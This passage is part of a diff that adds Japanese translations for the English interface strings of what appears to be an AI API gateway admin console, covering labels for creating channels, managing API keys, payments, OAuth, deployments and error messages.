+    "Create a copy of:": "コピーを作成:",
+    "Create a new user group to configure ratio overrides for.": "レートの上書きを設定するための新しいユーザーグループを作成します。",
+    "Create account": "アカウントを作成",
+    "Create an account": "アカウントを作成",
+    "Create and review invite or credit codes.": "招待コードまたはクレジットコードを作成および確認。",
+    "Create API Key": "APIキーを作成",
+    "Create cache": "キャッシュを作成",
+    "Create cache ratio": "キャッシュ倍率を作成",
+    "Create Channel": "チャネルを作成",
+    "Create Code": "コードを作成",
+    "Create credentials for the root user": "管理者アカウントの認証情報を作成",
+    "Create deployment": "デプロイを作成",
+    "Create Model": "モデルを作成",
+    "Create multiple API keys at once (random suffix will be added to names)": "一度に複数のAPIキーを一括作成（名前にランダムな接尾辞が追加されます）",
+    "Create multiple channels from multiple keys": "複数のキーから複数のチャンネルを作成",
+    "Create multiple redemption codes at once (1-100)": "複数の引き換えコードを一度に作成します (1-100)",
+    "Create new subscription plan": "新しいサブスクリプションプランを作成",
+    "Create or update frequently asked questions for users": "ユーザー向けのよくある質問を作成または更新します",
+    "Create or update system announcements for the dashboard": "ダッシュボードのシステムアナウンスを作成または更新します",
+    "Create Plan": "プラン作成",
+    "Create Prefill Group": "プレフィルグループを作成",
+    "Create Provider": "プロバイダーを作成",
+    "Create Redemption Code": "引き換えコードを作成",
+    "Create reusable bundles of models, tags, endpoints, and user groups to speed up configuration elsewhere in the console.": "モデル、タグ、エンドポイント、およびユーザーグループの再利用可能なバンドルを作成し、コンソールの他の場所での設定を高速化します。",
+    "Create succeeded": "作成に成功しました",
+    "Create Vendor": "ベンダーを作成",
+    "Create your first group to reuse model, tag, or endpoint selections anywhere in the dashboard.": "ダッシュボードのどこでもモデル、タグ、またはエンドポイントの選択を再利用するために、最初のグループを作成します。",
+    "Create, revoke, and audit API tokens.": "APIトークンを作成、取り消し、監査。",
+    "Created": "作成済み",
+    "Created At": "作成日時",
+    "Credential generated": "認証情報を生成しました",
+    "Credential refreshed": "認証情報を更新しました",
+    "Credentials": "認証情報",
+    "Creem API key (leave blank unless updating)": "Creem API キー (更新しない限り空白のまま)",
+    "Creem Gateway": "Creem ゲートウェイ",
+    "Creem Payment": "Creem 決済",
+    "Creem product ID from your Creem dashboard.": "Creem ダッシュボードから取得した Creem 製品 ID。",
+    "Creem products must be a JSON array": "Creem 製品は JSON 配列でなければなりません",
+    "Cross-group": "グループ横断",
+    "Cross-group retry": "グループ横断リトライ",
+    "Curate quick links to your different Domains": "異なるドメインへのクイックリンクを厳選します",
+    "Currency": "通貨",
+    "Current Balance": "現在の残高",
+    "Current Billing": "現在の請求",
+    "Current Cache Size": "現在のキャッシュサイズ",
+    "Current email: {{email}}. Enter a new email to change.": "現在のメール: {{email}}。変更するには新しいメールアドレスを入力してください。",
+    "Current key": "現在のキー",
+    "Current models for the longest channel in this tag. May not include all models from all channels.": "このタグ内の最も長いチャネルの現在のモデル。すべてのチャネルのすべてのモデルが含まれているわけではない場合があります。",
+    "Current Password": "現在のパスワード",
+    "Current Price": "現在の価格",
+    "Current quota": "現在のクォータ",
+    "Current Value": "現在の値",
+    "Current version": "現在のバージョン",
+    "Current:": "現在:",
+    "Custom": "カスタム",
+    "Custom (seconds)": "カスタム（秒）",
+    "Custom Amount": "カスタム金額",
+    "Custom API base URL. For official channels, New API has built-in addresses. Only fill this for third-party proxy sites or special endpoints. Do not add /v1 or trailing slash.": "カスタムAPIベースURL。公式チャンネルの場合、New APIには組み込みのアドレスがあります。これは、サードパーティのプロキシサイトまたは特別なエンドポイントに対してのみ入力してください。/v1 や末尾のスラッシュを追加しないでください。",
+    "Custom API base URL. Leave empty to use provider default.": "カスタム API ベース URL。プロバイダのデフォルトを使用する場合は空にしてください。",
+    "Custom Currency": "カスタム通貨",
+    "Custom Currency Symbol": "カスタム通貨記号",
+    "Custom currency symbol is required": "カスタム通貨記号は必須です",
+    "Custom database driver detected.": "カスタムデータベースドライバーが検出されました。",
+    "Custom Home Page": "カスタムホームページ",
+    "Custom message shown when access is denied": "アクセス拒否時に表示されるカスタムメッセージ",
+    "Custom model (comma-separated)": "カスタムモデル (コンマ区切り)",
+    "Custom module": "カスタムモジュール",
+    "Custom multipliers when specific user groups use specific token groups. Example: VIP users get 0.9x rate when using \"edit_this\" group tokens.": "特定のユーザーグループが特定のトークングループを使用する場合のカスタム乗数。例: VIPユーザーが「edit_this」グループトークンを使用する場合、0.9倍のレートが適用されます。",
+    "Custom OAuth": "カスタム OAuth",
+    "Custom OAuth Providers": "カスタムOAuthプロバイダー",
+    "Custom Seconds": "カスタム秒数",
+    "Custom sidebar section": "カスタムサイドバーセクション",
+    "Custom Time Range": "カスタム時間範囲",
+    "Custom Zoom": "カスタムズーム",
+    "Customize sidebar display content": "サイドバーの表示内容をカスタマイズ",
+    "Daily": "毎日",
+    "Daily Check-in": "毎日のチェックイン",
+    "Dark": "ダーク",
+    "Dashboard": "ダッシュボード",
+    "Dashboards, tokens, and usage analytics.": "ダッシュボード、トークン、使用状況アナリティクス。",
+    "Data Dashboard": "データダッシュボード",
+    "Data directory:": "データディレクトリ:",
+    "Data is stored locally on this device. Use system backups to keep a safe copy.": "データはこのデバイスにローカルに保存されます。安全なコピーを保持するためにシステムバックアップを使用してください。",
+    "Data management and log viewing": "データ管理とログ閲覧",
+    "Database": "データベース",
+    "Database check": "データベース確認",
+    "Date and time when this announcement should be displayed": "このアナウンスが表示されるべき日時",
+    "Date Range": "期間",
+    "Day": "日",
+    "days": "日",
+    "Days to Retain": "保持日数",
+    "Deducted by subscription": "サブスクリプションで控除",
+    "DeepSeek": "DeepSeek",
+    "default": "デフォルト",
+    "Default": "デフォルト",
+    "Default (New Frontend)": "デフォルト（新フロントエンド）",
+    "Default API Version *": "デフォルトのAPIバージョン *",
+    "Default API version for this channel": "このチャンネルのデフォルトのAPIバージョン",
+    "Default Collapse Sidebar": "デフォルトのサイドバー折りたたみ",
+    "Default Max Tokens": "デフォルトの最大トークン",
+    "Default Responses API version, if empty, will use the API version above": "デフォルトの応答APIバージョン。空の場合、上記のAPIバージョンが使用されます",
+    "Default system prompt for this channel": "このチャンネルのデフォルトのシステムプロンプト",
+    "Default time granularity": "デフォルトの時間粒度",
+    "Default to auto groups": "デフォルトで自動グループ化",
+    "Default TTL (seconds)": "デフォルト TTL（秒）",
+    "Defaults to the wallet page when empty": "空欄の場合はウォレットページを既定にします",
+    "Define API endpoints for this model (JSON format)": "このモデルのAPIエンドポイントを定義します (JSON形式)",
+    "Define endpoint mappings for each provider.": "各プロバイダーごとにエンドポイントのマッピングを定義してください。",
+    "Define per-group rules to add, remove, or append selectable groups for specific user groups.": "特定のユーザーグループに対して選択可能なグループを追加、削除、または追加するグループごとのルールを定義します。",
+    "Delete": "削除",
+    "Delete (": "削除 (",
+    "Delete {{count}} API key(s)?": "{{count}}個のAPIキーを削除しますか？",
+    "Delete Account": "アカウント削除",
+    "Delete All Disabled": "すべての無効なものを削除",
+    "Delete All Disabled Channels?": "すべての無効なチャンネルを削除しますか?",
+    "Delete Auto-Disabled": "自動無効化されたものを削除",
+    "Delete Channel": "チャネルを削除",
+    "Delete Channels?": "チャネルを削除しますか?",
+    "Delete failed": "削除に失敗しました",
+    "Delete group": "グループを削除",
+    "Delete Header": "ヘッダーを削除",
+    "Delete Invalid": "無効を削除",
+    "Delete invalid codes": "無効なコードを削除",
+    "Delete invalid codes (used/disabled/expired)": "無効なコード（使用済み/無効/期限切れ）を削除",
+    "Delete invalid redemption codes": "無効な引き換えコードを削除",
+    "Delete Invalid Redemption Codes?": "無効な引き換えコードを削除しますか?",
+    "Delete logs": "ログを削除",
+    "Delete Model": "モデルを削除",
+    "Delete Models?": "モデルを削除しますか？",
+    "Delete Provider": "プロバイダーを削除",
+    "Delete selected API keys": "選択したAPIキーを削除",
+    "Delete selected channels": "選択したチャネルを削除",
+    "Delete selected models": "選択したモデルを削除",
+    "Deleted": "削除済み",
+    "Deleted successfully": "削除しました",
+    "Deleting will permanently remove this subscription record (including benefit details). Continue?": "削除するとこのサブスクリプション記録（特典詳細を含む）が完全に削除されます。続行しますか？",
+    "Deleting...": "削除中...",
+    "Demo site": "デモサイト",
+    "Demo site mode": "デモサイトモード",
+    "Demo Site Mode": "デモサイトモード",
+    "Demote": "降格",
+    "Deployment created successfully": "デプロイを作成しました",
+    "Deployment details": "デプロイメントの詳細",
+    "Deployment ID": "デプロイ ID",
+    "Deployment location": "デプロイ先",
+    "Deployment logs": "デプロイログ",
+    "Deployment Region *": "デプロイリージョン *",
+    "Deployment requested": "デプロイメントが要求されました",
+    "Deployments": "デプロイ",
+    "Desc": "説明",
+    "Describe": "説明",
+    "Describe this model...": "このモデルを説明...",
+    "Describe this vendor...": "このベンダーを説明...",
+    "Description": "説明",
+    "Description is required": "説明は必須です",
+    "Designed and Developed by": "設計・開発",
+    "designed for scale": "スケールのために設計",
+    "Destroyed": "破棄済み",
+    "Detailed request logs for investigations.": "調査のための詳細なリクエストログ。",
+    "Details": "詳細",
+    "Detect All Upstream Updates": "すべてのアップストリーム更新を検出",
+    "Detected database": "検出されたデータベース",
+    "Detected high-risk status code redirect rules": "以下の高リスクステータスコードリダイレクトルールが検出されました：",
+    "Detection complete: {{add}} to add, {{remove}} to remove": "検出完了：{{add}} 個追加、{{remove}} 個削除",
+    "Detection failed": "検出に失敗しました",
+    "Determines how this group is applied elsewhere.": "このグループが他の場所でどのように適用されるかを決定します。",
+    "Developer Friendly": "開発者向け",
+    "Device Type Preference": "優先デバイスタイプ",
+    "Dify": "Dify",
+    "Dify channels only support chatflow and agent, and agent does not support images": "Dify チャネルは chatflow と agent のみサポートしており、agent は画像をサポートしていません",
+    "Digest:": "ダイジェスト：",
+    "Direction": "方向",
+    "Directory File Count": "ディレクトリファイル数",
+    "Directory Total Size": "ディレクトリ合計サイズ",
+    "Disable": "無効にする",
+    "Disable 2FA": "2FAを無効にする",
+    "Disable All": "すべて無効にする",
+    "Disable on failure": "失敗時に無効にする",
+    "Disable selected channels": "選択したチャネルを無効にする",
+    "Disable selected models": "選択したモデルを無効にする",
+    "Disable store passthrough": "ストアパススルーを無効にする",
+    "Disable thinking processing models": "思考処理モデルを無効にする",
+    "Disable this key?": "このキーを無効にしますか？",
+    "Disable threshold (seconds)": "無効化しきい値（秒）",
+    "Disable Two-Factor Authentication": "二要素認証を無効にする",
+    "disabled": "無効",
+    "Disabled": "無効",
+    "Disabled all channels with tag: {{tag}}": "タグ「{{tag}}」の全チャネルを無効にしました",
+    "Disabled Reason": "無効化の理由",
+    "Disabled Time": "無効化された時刻",
+    "Disabling...": "無効化中...",
+    "Discord": "Discord",
+    "Discount": "特典",
+    "Discount map by recharge amount (JSON object)": "リチャージ額による割引マップ（JSONオブジェクト）",
+    "Discount Rate": "割引率",
+    "Discount rate must be ≤ 1": "割引率は 1 以下でなければなりません",
+    "Discount rate must be greater than 0": "割引率は 0 より大きくなければなりません",
+    "Discount Rate:": "割引率:",
+    "Discount ratio for cache hits.": "キャッシュヒットに対する割引率。",
+    "Discouraged": "非推奨",
+    "Discovering...": "検出中...",
+    "Disk cache cleared": "ディスクキャッシュをクリアしました",
+    "Disk Cache Settings": "ディスクキャッシュ設定",
+    "Disk Cache Threshold (MB)": "ディスクキャッシュ閾値 (MB)",
+    "Disk cache, system performance monitoring, and operation statistics": "ディスクキャッシュ、システムパフォーマンス監視、運用統計",
+    "Disk Hits": "ディスクヒット",
+    "Disk Threshold (%)": "ディスク閾値 (%)",
+    "Display in Currency": "通貨で表示",
+    "Display Mode": "表示モード",
+    "Display name": "表示名",
+    "Display Name": "表示名",
+    "Display name and email used in outgoing messages": "送信メッセージで使用される表示名とメールアドレス",
+    "Display Name Field": "表示名フィールド",
+    "Display name for this chat client.": "このチャットクライアントの表示名。",
+    "Display name for this monitoring group (max 50 characters)": "この監視グループの表示名（最大50文字）",
+    "Display name for this payment method.": "この支払い方法の表示名。",
+    "Display name shown to users.": "ユーザーに表示される表示名。",
+    "Display Options": "表示オプション",
+    "Display Token Statistics": "トークン統計を表示",
+    "Displays the mobile sidebar.": "モバイルサイドバーを表示します。",
+    "Do not over-trust this feature. IP may be spoofed. Please use with nginx, CDN and other gateways.": "この機能を過信しないでください。IPは偽装される可能性があります。nginx、CDNなどのゲートウェイと併用してください。",
+    "Do not repeat check-in; only once per day": "チェックインを繰り返さないでください；1日1回のみ",
+    "Docs": "ドキュメント",
+    "Documentation Link": "ドキュメントリンク",
+    "Documentation or external knowledge base.": "ドキュメントまたは外部知識ベース。",
+    "does not exist or might have been removed.": "存在しないか、削除された可能性があります。",
+    "Domain": "ドメイン",
+    "Domain Filter Mode": "ドメインフィルターモード",
+    "Don't have an account?": "アカウントをお持ちでないですか？",
+    "Done": "完了",
+    "Doubao Coding Plan": "豆包 Coding Plan",
+    "Doubao custom API address editing unlocked": "豆包カスタムAPI アドレス編集がアンロックされました",
+    "DoubaoVideo": "DoubaoVideo",
+    "Double check the configuration below. Your system will be locked until initialization is complete.": "下記の設定を再確認してください。初期化が完了するまでシステムはロックされます。",
+    "Download": "ダウンロード",
+    "Draw": "描画",
+    "Drawing": "画像生成",
+    "Drawing logs": "描画ログ",
+    "Drawing Logs": "画像生成履歴",
+    "Drawing task records": "描画タスク記録",
+    "Duplicate": "複製",
+    "Duration": "所要時間",
+    "Duration (hours)": "期間（時間）",
+    "Duration Settings": "有効期間設定",
+    "Duration Unit": "期間単位",
+    "Duration Value": "期間値",
+    "Dynamic Pricing": "ダイナミック価格設定",
+    "e.g. ¥ or HK$": "例: ¥ または HK$",
+    "e.g. 401, 403, 429, 500-599": "例：401, 403, 429, 500-599",
+    "e.g. 8 means 1 USD = 8 units": "例: 8 は 1 USD = 8 単位 を意味します",
+    "e.g. Basic Plan": "例：ベーシックプラン",
+    "e.g. example.com": "例: example.com",
+    "e.g. llama3.1:8b": "例: llama3.1:8b",
+    "e.g. My GitLab": "例: My GitLab",
+    "e.g. my-gitlab": "例: my-gitlab",
+    "e.g. New API Console": "例: New API コンソール",
+    "e.g. openid profile email": "例: openid profile email",
+    "e.g. Suitable for light usage": "例：ライトユーザー向け",
+    "e.g., 0.95": "例: 0.95",
+    "e.g., 100": "例: 100",
+    "e.g., 123456": "例: 123456",
+    "e.g., 2025-04-01-preview": "例: 2025-04-01-preview",
+    "e.g., 50": "例: 50",
+    "e.g., 500000": "例: 500000",
+    "e.g., 7342866812345": "例: 7342866812345",
+    "e.g., 8 means 8 local currency per USD": "例: 8 は 1 USD あたり 8 現地通貨 を意味します",
+    "e.g., Alipay, WeChat": "例: Alipay、WeChat",
+    "e.g., Basic Package": "例: 基本パッケージ",
+    "e.g., CN2 GIA": "例: CN2 GIA",
+    "e.g., Core APIs, OpenAI, Claude": "例: Core APIs、OpenAI、Claude",
+    "e.g., d6b5da8hk1awo8nap34ube6gh": "例: d6b5da8hk1awo8nap34ube6gh",
+    "e.g., default, vip, premium": "例: default、vip、premium",
+    "e.g., gpt-4, claude-3": "例：gpt-4、claude-3",
+    "e.g., https://api.example.com (path before /suno)": "例: https://api.example.com (/suno の前のパス)",
+    "e.g., https://api.openai.com/v1/chat/completions": "例: https://api.openai.com/v1/chat/completions",
+    "e.g., https://ark.cn-beijing.volces.com": "例: https://ark.cn-beijing.volces.com",
+    "e.g., https://docs-test-001.openai.azure.com": "例: https://docs-test-001.openai.azure.com",
+    "e.g., https://fastgpt.run/api/openapi": "例: https://fastgpt.run/api/openapi",
+    "e.g., OpenAI GPT-4 Production": "例： OpenAI GPT -4 Production",
+    "e.g., preview": "例: preview",
+    "e.g., prod_xxx": "例: prod_xxx",
+    "e.g., Recommended for China Mainland Users": "例: 中国本土ユーザーにおすすめ",
+    "e.g., us-central1 or JSON format for model-specific regions": "例: us-central1 またはモデル固有のリージョンを示す JSON 形式",
+    "e.g., v2.1": "例: v2.1",
+    "Each backup code can only be used once.": "各バックアップコードは1回しか使用できません。",
+    "Each item must be an object with a single key-value pair.": "各項目は単一のキーと値のペアを持つオブジェクトでなければなりません。",
+    "Each item must have exactly one key-value pair.": "各項目には正確に 1 つのキーと値のペアが必要です。",
+    "Each line represents one keyword. Leave blank to disable the list but keep the switch states.": "各行は1つのキーワードを表します。リストを無効にするが、スイッチの状態を維持するには、空白のままにしてください。",
+    "Each tier supports 0~2 conditions (over len, p, c); the last tier is the catch-all without conditions. Use len (full input length, including cache hits) for tier conditions to avoid mis-routing when cache hits reduce p.": "各層は 0~2 個の条件（len、p、c に対して）を設定でき、最後の層は条件なしのキャッチオール層です。キャッシュヒットによって p が下がり層が誤判定されるのを防ぐため、層の条件には len（キャッシュヒットを含む完全な入力長）を使用してください。",
+    "Earn rewards when your referrals add funds. Transfer accumulated rewards to your balance anytime.": "紹介者が資金を追加すると報酬を獲得できます。いつでも蓄積された報酬を残高に振り替えることができます。",
+    "Edit": "編集",
+    "Edit {{title}}": "{{title}}を編集",
+    "Edit all channels with tag:": "タグを持つすべてのチャネルを編集:",
+    "Edit Announcement": "お知らせを編集",
+    "Edit API Shortcut": "API ショートカットを編集",
+    "Edit Channel": "チャンネルを編集",
+    "Edit chat preset": "チャットプリセットを編集",
+    "Edit discount tier": "割引ティアを編集",
+    "Edit FAQ": "FAQ を編集",
+    "Edit group rate limit": "グループレート制限を編集",
+    "Edit model": "モデルを編集",
+    "Edit Model": "モデルを編集",
+    "Edit OAuth Provider": "OAuthプロバイダーを編集",
+    "Edit payment method": "決済方法を編集",
+    "Edit Prefill Group": "プリフィルグループを編集",
+    "Edit product": "製品を編集",
+    "Edit ratio override": "倍率オーバーライドを編集",
+    "Edit Rule": "ルール編集",
+    "Edit selectable group": "選択可能なグループを編集",
+    "Edit Tag": "タグ編集",
+    "Edit Tag:": "タグを編集:",
+    "Edit Uptime Kuma Group": "Uptime Kuma グループを編集",
+    "Edit Vendor": "ベンダーを編集",
+    "edit_this": "edit_this",
+    "Editor mode": "エディターモード",
+    "Email": "メールアドレス",
+    "Email (required for verification)": "メールアドレス（認証に必須）",
+    "Email Address": "メールアドレス",
+    "Email Alias Restriction": "メールエイリアスの制限",
+    "Email bound successfully!": "メールが正常に紐付けられました！",
+    "Email Domain Restriction": "メールドメインの制限",
+    "Email Domain Whitelist": "メールドメインのホワイトリスト",
+    "Email Field": "メールフィールド",
+    "Email Verification": "メール認証",
+    "Embeddings": "埋め込み",
+    "Empty value will be saved as {}.": "空の値は {} として保存されます。",
+    "Enable": "有効にする",
+    "Enable 2FA": "2FA を有効にする",
+    "Enable All": "すべて有効にする",
+    "Enable check-in feature": "チェックイン機能を有効にする",
+    "Enable Data Dashboard": "データダッシュボードを有効にする",
+    "Enable demo mode with limited functionality": "機能が制限されたデモモードを有効にする",
+    "Enable Discord OAuth": "Discord OAuthを有効にする",
+    "Enable Disk Cache": "ディスクキャッシュを有効にする",
+    "Enable drawing features": "描画機能を有効にする",
+    "Enable filtering": "フィルタリングを有効にする",
+    "Enable FunctionCall thoughtSignature Fill": "FunctionCall用のthoughtSignature自動付与を有効化",
+    "Enable GitHub OAuth": "GitHub OAuthを有効にする",
+    "Enable Groups": "グループを有効にする",
+    "Enable if this is an OpenRouter enterprise account with special response format": "特別な応答形式を持つOpenRouterエンタープライズアカウントである場合に有効にします",
+    "Enable io.net deployments": "io.net デプロイを有効化",
+    "Enable io.net model deployment service in console": "コンソールで io.net モデルデプロイサービスを有効化",
+    "Enable LinuxDO OAuth": "LinuxDO OAuthを有効にする",
+    "Enable OIDC": "OIDCを有効にする",
+    "Enable or disable this channel": "このチャネルを有効または無効にする",
+    "Enable or disable this model": "このモデルを有効または無効にする",
+    "Enable or disable top navigation modules globally.": "トップナビゲーションモジュールをグローバルに有効または無効にします。",
+    "Enable Passkey": "Passkeyを有効にする",
+    "Enable Performance Monitoring": "パフォーマンス監視を有効にする",
+    "Enable rate limiting": "レート制限を有効にする",
+    "Enable Request Passthrough": "リクエストパススルーを有効にする",
+    "Enable selected channels": "選択したチャネルを有効にする",
+    "Enable selected models": "選択したモデルを有効にする",
+    "Enable SSL/TLS": "SSL/TLSを有効にする",
+    "Enable SSRF Protection": "SSRF保護を有効にする",
+    "Enable streaming mode for the test request.": "テストリクエストのストリーミングモードを有効にします。",
+    "Enable Telegram OAuth": "Telegram OAuthを有効にする",
+    "Enable test mode for Creem payments": "Creem 決済のテストモードを有効にする",
+    "Enable this key?": "このキーを有効にしますか？",
+    "Enable Turnstile": "Turnstileを有効にする",
+    "Enable Two-factor Authentication or Passkey in your profile to unlock sensitive operations.": "機密性の高い操作を解除するには、プロフィールで二要素認証またはPasskeyを有効にしてください。",
+    "Enable unlimited quota for this API key": "このAPIキーの無制限のクォータを有効にする",
+    "Enable violation deduction": "違反料金控除を有効にする",
+    "Enable Waffo": "Waffoを有効化",
+    "Enable Waffo Pancake": "Waffo Pancake を有効にする",
+    "Enable WeChat Auth": "WeChat認証を有効にする",
+    "Enable when proxying workers that fetch images over HTTP.": "HTTP経由で画像をフェッチするワーカーをプロキシする場合に有効にします。",
+    "Enabled": "有効",
+    "Enabled all channels with tag: {{tag}}": "タグ「{{tag}}」の全チャネルを有効にしました",
+    "Enabled Status": "有効ステータス",
+    "Enabling...": "有効化中...",
+    "End": "終了",
+    "End Error": "終了エラー",
+    "End Reason": "終了理由",
+    "End Time": "終了時間",
+    "Endpoint": "エンドポイント",
+    "Endpoint config": "エンドポイント設定",
+    "Endpoint Configuration": "エンドポイント設定",
+    "Endpoint Type": "エンドポイントタイプ",
+    "Endpoint:": "エンドポイント:",
+    "Endpoints": "エンドポイント",
+    "English": "英語",
+    "Ensure Prefix": "プレフィックスを確保",
+    "Ensure Suffix": "サフィックスを確保",
+    "Enter 6-digit code": "6桁のコードを入力",
+    "Enter a name": "名前を入力",
+    "Enter a new name": "新しい名前を入力してください",
+    "Enter a positive or negative amount to adjust the quota": "クォータを調整するために正または負の値を入力してください",
+    "Enter a valid email or leave blank": "有効なメールアドレスを入力するか空白にしてください",
+    "Enter a value and press Enter": "値を入力してEnterを押してください",
+    "Enter amount in {{currency}}": "{{currency}}で金額を入力",
+    "Enter amount in tokens": "トークンで金額を入力",
+    "Enter announcement content (supports Markdown & HTML)": "アナウンス内容を入力（Markdown & HTML対応）",
+    "Enter announcement content (supports Markdown/HTML)": "アナウンス内容を入力（Markdown/HTML対応）",
+    "Enter API Key": "API キーを入力",
+    "Enter API Key, format: APIKey|Region": "APIキーを入力してください。形式: APIKey | Region",
+    "Enter API Key, one per line, format: APIKey|Region": "APIキーを1行に1つずつ入力してください。形式: APIKey | Region",
+    "Enter application token": "アプリケーショントークンを入力",
+    "Enter authenticator code": "認証コードを入力",
+    "Enter backup code (e.g., CAWD-OQDV)": "バックアップコードを入力（例：CAWD-OQDV）",
+    "Enter code": "コードを入力",
+    "Enter code or backup code": "コードまたはバックアップコードを入力",
+    "Enter Completion price to calculate ratio": "比率を計算するために Completion 価格を入力",
+    "Enter Creem API key": "Creem API キーを入力",
+    "Enter custom API endpoint URL": "カスタムAPIエンドポイントURLを入力",
+    "Enter deployment region or JSON mapping:": "デプロイリージョンまたはJSONマッピングを入力:",
+    "Enter display name": "表示名を入力",
+    "Enter HTML code (e.g., <p>About us...</p>) or a URL (e.g., https://example.com) to embed as iframe": "HTMLコード（例：<p>About us...</p>）またはURL（例：https://example.com）を入力してiframeとして埋め込みます",
+    "Enter Input price to calculate ratio": "比率を計算するために Input 価格を入力",
+    "Enter key, format: AccessKey|SecretAccessKey|Region": "キーを入力してください、形式: AccessKey | SecretAccessKey | Region",
+    "Enter key, one per line, format: AccessKey|SecretAccessKey|Region": "キーを入力してください。1行に1つ、形式: AccessKey | SecretAccessKey | Region",
+    "Enter model name": "モデル名を入力",
+    "Enter new key to update": "更新する新しいキーを入力",
+    "Enter new key to update, or leave empty to keep current key": "更新する新しいキーを入力するか、空欄にして現在のキーを保持",
+    "Enter new tag name (leave empty to disband tag)": "新しいタグ名を入力してください（タグを解散するには空欄にしてください）",
+    "Enter new tag name or leave empty": "新しいタグ名を入力するか、空欄にする",
+    "Enter new token to update": "更新する新しいトークンを入力",
+    "Enter one API key per line for batch creation": "一括作成のため、1行に1つのAPIキーを入力してください",
+    "Enter one key per line for batch creation": "一括作成のため、1行に1つのキーを入力してください",
+    "Enter one keyword per line": "1行に1つのキーワードを入力",
+    "Enter password": "パスワードを入力",
+    "Enter password (8-20 characters)": "パスワードを入力 (8～20文字)",
+    "Enter password (min 8 characters)": "パスワードを入力（最小8文字）",
+    "Enter quota in {{currency}}": "{{currency}} でクォータを入力",
+    "Enter quota in tokens": "トークン単位でクォータを入力",
+    "Enter secret key": "シークレットキーを入力",
+    "Enter system prompt (user prompt takes priority)": "システムプロンプトを入力 (ユーザープロンプトが優先されます)",
+    "Enter tag name (optional)": "タグ名を入力 (オプション)",
+    "Enter the 6-digit code from your authenticator app": "認証アプリからの6桁のコードを入力",
+    "Enter the 6-digit Time-based One-Time Password or 8-character backup code from your authenticator app.": "認証アプリからの6桁のワンタイムパスワードまたは8文字のバックアップコードを入力してください。",
+    "Enter the complete URL, supports": "完全なURLを入力、サポート",
+    "Enter the Coze agent ID": "CozeエージェントIDを入力",
+    "Enter the full URL of your Gotify server": "Gotifyサーバーの完全なURLを入力",
+    "Enter the knowledge base ID": "ナレッジベースIDを入力",
+    "Enter the path before /suno, usually just the domain": "/suno の前のパスを入力してください。通常はドメインのみです",
+    "Enter the quota amount in {{currency}}": "{{currency}} でクォータ数を入力",
+    "Enter the quota amount in tokens": "トークン単位でクォータ額を入力",
+    "Enter the verification code": "確認コードを入力",
+    "Enter threshold": "しきい値を入力",
+    "Enter token counts to preview the estimated cost (excluding group multipliers).": "トークン数を入力して、推定コストを表示します（グループ倍率は除く）。",
+    "Enter URL...": "URLを入力...",
+    "Enter username": "ユーザー名を入力",
+    "Enter verification code": "確認コードを入力",
+    "Enter webhook secret": "Webhook シークレットを入力",
+    "Enter your authenticator code or a backup code": "認証コードまたはバックアップコードを入力",
+    "Enter your email": "メールアドレスを入力",
+    "Enter your redemption code": "引き換えコードを入力",
+    "Enter your registered email and we will send you a link to reset your password.": "登録済みのメールアドレスを入力してください。パスワードをリセットするためのリンクをお送りします。",
+    "Enter your username": "ユーザー名を入力",
+    "Enter your username or email": "ユーザー名またはメールアドレスを入力",
+    "Enterprise Account": "エンタープライズアカウント",
+    "Enterprise-grade security with comprehensive permission management": "包括的な権限管理を備えたエンタープライズグレードのセキュリティ",
+    "Entrypoint (space separated)": "Entrypoint (スペース区切り)",
+    "Env (JSON object)": "Env (JSON オブジェクト)",
+    "Environment variables": "環境変数",
+    "Environment variables (JSON)": "環境変数（JSON）",
+    "Epay endpoint": "Epayエンドポイント",
+    "Epay Gateway": "Epayゲートウェイ",
+    "Epay merchant ID": "Epay マーチャントID",
+    "Epay secret key": "Epayシークレットキー",
+    "Error": "エラー",
+    "Error Message": "エラーメッセージ",
+    "Estimated cost": "推定コスト",
+    "Estimated quota cost": "想定クォートコスト",
+    "Exact": "完全一致",
+    "Exact Match": "完全一致",
+    "Example": "サンプル",
+    "Example (all channels):": "例（全チャンネル）：",
+    "Example (specific channels):": "例（特定チャンネル）：",
+    "Example:": "例:",
+    "example.com&#10;blocked-site.com": "example.com &#10;blocked-site.com",
+    "example.com&#10;company.com": "example.com &#10;company.com",
+    "Excellent": "優秀",
+    "Exchange rate is required": "為替レートは必須です",
+    "Exchange rate must be greater than 0": "為替レートは 0 より大きくする必要があります",
+    "Exhausted": "使い切り",
+    "Existing account will be reused": "既存のアカウントが再利用されます",
+    "Existing Models ({{count}})": "既存のモデル ({{count}})",
+    "Exists": "存在",
+    "Expected a JSON array.": "JSON 配列が必要です。",
+    "Experiment with prompts and models in real time.": "プロンプトとモデルをリアルタイムで実験する。",
+    "Expiration Time": "有効期限",
+    "expired": "期限切れ",
+    "Expired": "有効期限切れ",
+    "Expired at": "有効期限",
+    "Expired time cannot be earlier than current time": "有効期限は現在時刻より早く設定できません",
+    "Expires": "有効期限",
+    "Expose grouped Uptime Kuma status pages directly on the dashboard": "グループ化されたUptime Kumaステータスページをダッシュボードに直接公開する",
+    "Expose ratio API": "倍率APIを公開",
+    "Exposes the pricing/models catalog in the top navigation.": "価格/モデルカタログをトップナビゲーションに表示します。",
+    "Expression billing": "式による課金",
+    "Expression editor": "式エディター",
+    "Expression error": "式のエラー",
+    "Extend": "延長",
+    "Extend deployment": "デプロイメントを延長",
+    "Extend failed": "延長に失敗しました",
+    "Extended successfully": "正常に延長されました",
+    "External Device": "外部デバイス",
+    "External link for users to purchase quota": "ユーザーがクォータを購入するための外部リンク",
+    "External operations": "外部運用",
+    "External operations mode": "外部運用モード",
+    "External Speed Test": "外部スピードテスト",
+    "Extra": "追加",
+    "Extra Notes (Optional)": "追加のメモ (オプション)",
+    "Fail Reason": "失敗理由",
+    "Fail Reason Details": "失敗理由の詳細",
+    "Failed": "失敗",
+    "Failed to {{action}} user": "ユーザーの{{action}}に失敗しました",
+    "Failed to adjust quota": "クォータの調整に失敗しました",
+    "Failed to apply overwrite.": "オーバーライトの適用に失敗しました。",
+    "Failed to bind email": "メールのバインドに失敗しました",
+    "Failed to change password": "パスワードの変更に失敗しました",
+    "Failed to check for updates": "更新の確認に失敗しました",
+    "Failed to clean logs": "ログのクリーンアップに失敗しました",
+    "Failed to complete order": "注文の完了に失敗しました",
+    "Failed to complete Passkey login": "Passkeyログインの完了に失敗しました",
+    "Failed to contact GitHub releases API": "GitHub Releases API に接続できませんでした",
+    "Failed to copy": "コピーに失敗しました",
+    "Failed to copy channel": "チャネルのコピーに失敗しました",
+    "Failed to copy keys": "キーのコピーに失敗しました",
+    "Failed to copy model names": "モデル名のコピーに失敗しました",
+    "Failed to copy to clipboard": "クリップボードにコピーできませんでした",
